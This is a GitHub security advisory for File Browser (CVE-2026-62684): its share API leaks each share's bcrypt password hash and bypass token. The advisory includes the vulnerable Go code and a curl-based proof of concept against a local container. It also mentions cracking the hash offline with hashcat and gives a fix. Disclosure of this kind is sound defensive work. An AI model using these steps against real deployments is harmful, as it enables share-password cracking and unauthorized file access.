Skip to content

File Browser: Share API exposes the password hash and bypass token

Low severity GitHub Reviewed Published Jul 4, 2026 in filebrowser/filebrowser • Updated Jul 20, 2026

Package

gomod github.com/filebrowser/filebrowser/v2 (Go)

Affected versions

<= 2.63.16

Patched versions

2.63.17

Description

Summary

When a user creates a password-protected share or lists existing shares, the JSON response includes the full bcrypt password_hash and the secret token of the share. The Link storage struct is serialized directly with json.Marshal and tags password_hash and token for output, with no field filtering. Any authenticated user receives these secrets for their own shares, and an administrator listing all shares via GET /api/shares receives the password hash and bypass token for every user's shares, enabling offline cracking of share passwords and direct password-bypass access to protected shares.

Details

1. The Link struct serializes both secrets to JSON (share/share.go:10-19)

type Link struct {
    Hash         string `json:"hash" storm:"id,index"`
    Path         string `json:"path" storm:"index"`
    UserID       uint   `json:"userID"`
    Expire       int64  `json:"expire"`
    PasswordHash string `json:"password_hash,omitempty"`   // line 15, bcrypt hash exposed
    // Token is only set when PasswordHash is set; it bypasses the password.
    Token        string `json:"token,omitempty"`            // line 19, bypass token exposed
}

omitempty means the hash and token are emitted whenever a share is password-protected, i.e. in every response for such a share.

2. The share handlers return the full struct through unfiltered json.Marshal

sharePostHandler returns the created Link with renderJSON(w, r, s) (http/share.go:179); shareListHandler and shareGetsHandler return shares the same way (http/share.go:55, http/share.go:76). renderJSON performs an unfiltered json.Marshal(data) (http/utils.go:16), so every tagged field, including password_hash and token, reaches the client.

3. Administrators receive every user's secrets (http/share.go:36)

s, err = d.store.Share.All()   // admin path: returns ALL users' shares
// ...
return renderJSON(w, r, s)     // including each share's password_hash and token

An admin calling GET /api/shares receives the bcrypt hash and bypass token for all shares across all users.

PoC

Tested against filebrowser/filebrowser:v2.63.15.

Attack Vector: read the bcrypt hash and bypass token from the share API:

#1. Seed a file in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv/user1
echo "hello" > /tmp/filebrowser-test/srv/user1/readme.txt
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090

#2. Log in as admin
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")

#3. Create a password-protected share
curl -s -X POST "$B/api/share/user1/readme.txt" -H "X-Auth: $T" -H 'Content-Type: application/json' \
     -d '{"password":"ShareSecret123!","expires":"24","unit":"hours"}'

#4. List shares (as admin this returns every user's shares, each with the bcrypt password_hash and bypass token)
curl -s "$B/api/shares" -H "X-Auth: $T"

The returned bcrypt hash cracks offline (hashcat -m 3200) to recover the share password, and the token opens the protected share directly without the password.

Expected output (reproduced on a fresh filebrowser-test container, v2.63.15):

Both the POST /api/share/... response and the GET /api/shares response return HTTP 200 with a body that includes the full bcrypt password_hash and the 128-character bypass token:

POST /api/share/user1/readme.txt   -> 200
GET  /api/shares                   -> 200
{
  "hash": "yy9159Cs",
  "path": "/user1/readme.txt",
  "userID": 1,
  "expire": 1781758642,
  "password_hash": "$2a$10$SX2h.eKiqMaThRTJNIKVxeVkbXSbGf5XoU0ZX2frcAasjE4RbvBla",
  "token": "bO4YpOtayjDNG_72qYk6MHIIn0BNxskySLSAbinAkPcKZX6XD2rRrtDX8Bmro..."
}

The hash cracks offline to the known password (bcrypt.checkpw(b"ShareSecret123!", hash) == True, hashcat -m 3200), and the token grants direct access to the password-protected share without knowing the password.

Impact

  • Offline password cracking: the bcrypt hash of every password-protected share is returned to clients; weak or reused share passwords can be recovered offline.
  • Password-bypass token leak: the token is the value that bypasses the share password entirely; exposing it in list responses lets any holder of the response open the protected share directly.
  • Admin sees everyone's secrets: GET /api/shares as an administrator returns the hash and token of every user's shares, broadening the exposure across all tenants.
  • Credential reuse risk: users who reuse an account or service password as a share password expose that password to offline recovery.

Recommended Fix

Never serialize the hash or the bypass token to clients. Change the JSON tags so the secrets stay server-side:

// share/share.go
type Link struct {
    Hash         string `json:"hash" storm:"id,index"`
    Path         string `json:"path" storm:"index"`
    UserID       uint   `json:"userID"`
    Expire       int64  `json:"expire"`
    PasswordHash string `json:"-" storm:"index"`   // never serialize
    Token        string `json:"-"`                 // never serialize in list responses
}

PasswordHash and Token are only needed server-side (for bcrypt.CompareHashAndPassword and token comparison during share authentication). If a client needs to know whether a share is password-protected, expose a derived HasPassword bool instead of the hash. Prefer a response DTO over serializing the storage struct directly so future field additions are not exposed by default.

References

@hacdias hacdias published to filebrowser/filebrowser Jul 4, 2026
Published to the GitHub Advisory Database Jul 20, 2026
Reviewed Jul 20, 2026
Last updated Jul 20, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

EPSS score

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Insufficiently Protected Credentials

The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. Learn more on MITRE.

CVE ID

CVE-2026-62684

GHSA ID

GHSA-833g-cqhp-h72j

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.